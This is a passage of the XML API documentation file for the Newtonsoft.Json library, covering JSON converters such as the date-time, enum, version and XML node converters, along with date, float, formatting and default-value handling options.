name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets 